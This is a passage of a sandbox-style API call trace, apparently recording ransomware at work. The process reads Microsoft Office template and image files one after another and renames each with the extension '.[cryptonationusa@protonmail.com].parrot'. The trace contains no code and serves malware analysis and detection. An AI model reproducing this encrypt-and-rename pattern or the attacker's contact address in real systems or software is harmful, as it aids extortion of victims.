hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.818] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fdb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fdb6, lpOverlapped=0x0) returned 1 [0175.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.902] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.902] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.904] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.904] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f190, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f190, lpOverlapped=0x0) returned 1 [0175.915] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.925] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.927] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.927] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f984, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f984, lpOverlapped=0x0) returned 1 [0175.934] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.944] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.965] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1da6c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1da6c, lpOverlapped=0x0) returned 1 [0175.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.984] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.987] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f018, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f018, lpOverlapped=0x0) returned 1 [0175.994] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.006] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.013] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1df68, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1df68, lpOverlapped=0x0) returned 1 [0176.026] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.037] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.039] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.040] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e254, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e254, lpOverlapped=0x0) returned 1 [0176.047] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.104] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.104] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.106] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.106] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e6a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e6a4, lpOverlapped=0x0) returned 1 [0176.419] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.429] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.430] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.431] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.431] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f064, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f064, lpOverlapped=0x0) returned 1 [0176.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.447] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.447] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.451] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.451] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e114, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e114, lpOverlapped=0x0) returned 1 [0176.457] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.468] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0176.468] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53656a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf53656a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.469] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4034540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FONTSC~1.PAR")) returned 1 [0176.470] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0176.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0176.472] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0176.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0176.473] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0176.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.474] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.475] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.475] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x182b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x182b, lpOverlapped=0x0) returned 1 [0176.476] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.481] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.483] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.483] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bb5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3bb5, lpOverlapped=0x0) returned 1 [0176.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.489] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.489] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.490] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.491] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x142f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x142f, lpOverlapped=0x0) returned 1 [0176.491] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.496] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.496] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.497] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.497] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46df, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x46df, lpOverlapped=0x0) returned 1 [0176.498] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.502] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.504] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.504] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x430d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x430d, lpOverlapped=0x0) returned 1 [0176.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.510] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.511] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5cb7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5cb7, lpOverlapped=0x0) returned 1 [0176.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.517] SetFilePointerEx (in: hFile=0x284, 